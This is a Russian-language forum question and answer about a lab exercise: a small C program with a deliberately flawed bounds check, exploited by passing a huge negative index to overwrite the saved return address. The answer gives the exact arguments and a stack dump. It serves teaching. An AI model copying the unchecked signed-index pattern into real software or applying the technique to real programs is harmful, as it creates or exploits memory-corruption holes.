Эксплойт с переполнением целых чисел - PullRequest
0 голосов
/ 05 мая 2019

У меня есть этот код, в котором есть какая-то уязвимость, но я не могу его использовать.

Пока что вот что я заметил:

1) если argv [1] = 3 и argc = 3, то он переполняется и записывает argv [2] в память массива [3] в функции "place_int_array".

2) если argv [1] <0 и argc = 3, то argv [2] переопределяет память в массиве [argv [1]]. </p>

3) мы пишем argv [0] в функции printf, которую можно каким-то образом использовать (вообще не удалось ее использовать).

Вот код. Я положил некоторые комментарии, надеюсь, что это читабельно.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int secretCode = 123;

void print_secret_code(){
    //TODO - call this from somewhere...
    printf("You get better at this stuff, ah?! Go get your treasure, the code is %d\n", secretCode);
}

                //  array,         3
void  fill_array(int array[], size_t len){
  unsigned int i;
  for (i = 0; i < len; i++){
    array[i] = i * 10;
    printf("array[i]: %d, i: %d\n", array[i], i);
  }
}

void place_int_array(int slot,int value){

  //buffer size = 3*4=12 bytes?
  int array[3];

  //sizeof(array)=4*SAFES ( = 12 here), sizeof(array[0]) = 4 ==> fill_array(array, 12/4=3)
  fill_array(array, sizeof(array)/sizeof(array[0]));

  //vuln - when slot = 3.
  if(slot>3) //we stop bad guys here
    printf("safe number is greater than 3, out of bounds.\n");
  else{
    //vuln?
    array[slot]=value; 
    printf("filled safe %d with %d.\n",slot,value);
  }
  return;
}

int main(int argc,char **argv){
  if(argc!=3){
    printf("Welcome to Alladin's magic cave!\n");
    printf("Enter the secret number into the right safe and get the treasure cave entrance code!\n");
    printf("syntax: %s [SAFE NUMBER] [SECRET NUMBER]\n",argv[0]);

    //TEMP TEMP - for debugging only
    printf("print_secret_code function = %p\n", print_secret_code);
  }
  else
                  //atoi("14s56")=>14, atoi("a14s56")=>0
    place_int_array(atoi(argv[1]), atoi(argv[2]));

  exit(0);
}

Я ожидаю, что каким-то образом удастся управлять потоком программы для выполнения "print_secret_code". Я знаю, как найти его адрес, но не могу найти способ использовать программу так, чтобы она попала в эту память.

ПРИМЕЧАНИЕ: я знаю, как отладить и заставить его печатать значение переменной. Я спрашиваю, как я могу использовать сам код для перехода в эту функцию.

1 Ответ

1 голос
/ 07 мая 2019

Мне удалось решить эту проблему, но я что-то не понимаю. Вот оно:

Поскольку это проблема целочисленного переполнения, я написал код для распечатки буфера. Начало буфера - это адрес, где хранится массив [0]. Затем я начал передавать значения MAX_INT и MIN_INT в программу. Я заметил, что когда я передавал значение MIN_INT в argv [1], он перезаписывал начало буфера. поэтому я передал значение MIN_INT + 1 и заметил, что он перезаписал второй адрес буфера. оттуда это было легко решить. Я обнаружил, что сохраненный eip находится по адресу array [6], поэтому я передал argv [1] десятичное значение MIN_INT + 6, а argv [2] передал адрес «print_secret_code» "функция в десятичном формате.

вот вывод:

[lab8_IntegerOverflow]$ ./aladdinSafe -2147483642 134514251 //run program and pass arguments
print_secret_code function = 0x804864b
place_int_array ret address: 0x80487fa
&array: 0xff9cb9c4
slot: -2147483642
&array[slot]: 0xff9cb9dc
Stack dump (stack at 0xff9cb9c4, len 30): 
0xff9cba38: 0xdbc70467
0xff9cba34: 0x5bc66076
0xff9cba30: 0x00000000
0xff9cba2c: 0x00000000
0xff9cba28: 0x00000000
0xff9cba24: 0xf775d000
0xff9cba20: 0x0804825c
0xff9cba1c: 0x0804a01c
0xff9cba18: 0xff9cba34
0xff9cba14: 0xff9cba94
0xff9cba10: 0x00000003
0xff9cba0c: 0xf7786cca
0xff9cba08: 0xff9cbaa4
0xff9cba04: 0xff9cba94
0xff9cba00: 0x00000003 (main first argument (argc))
0xff9cb9fc: 0xf75cbaf3 (main return address (saved eip))
0xff9cb9f8: 0x00000000
0xff9cb9f4: 0xf775d000
0xff9cb9f0: 0x08048810
0xff9cb9ec: 0xf775d000
0xff9cb9e8: 0x0804881b
0xff9cb9e4: 0x0804864b (second argument)
0xff9cb9e0: 0x80000006 (first argument)
0xff9cb9dc: 0x0804864b (place_int_array return address (saved eip))
0xff9cb9d8: 0xff9cb9f8 (saved ebp)
0xff9cb9d4: 0xf7799938
0xff9cb9d0: 0xff9cc5c3
0xff9cb9cc: 0x00000014 //address of array[2]
0xff9cb9c8: 0x0000000a //address of array[1]
0xff9cb9c4: 0x00000000 (beginning of buffer)//address of array[0]
filled safe -2147483642 with 134514251.
You get better at this stuff, ah?! Go get your treasure, the code is 10
Segmentation fault

Подробный ответ вы можете увидеть здесь: Различные значения Int для одного и того же значения?

что является новой темой моего нового вопроса о решении.

Большое спасибо всем помощникам!

...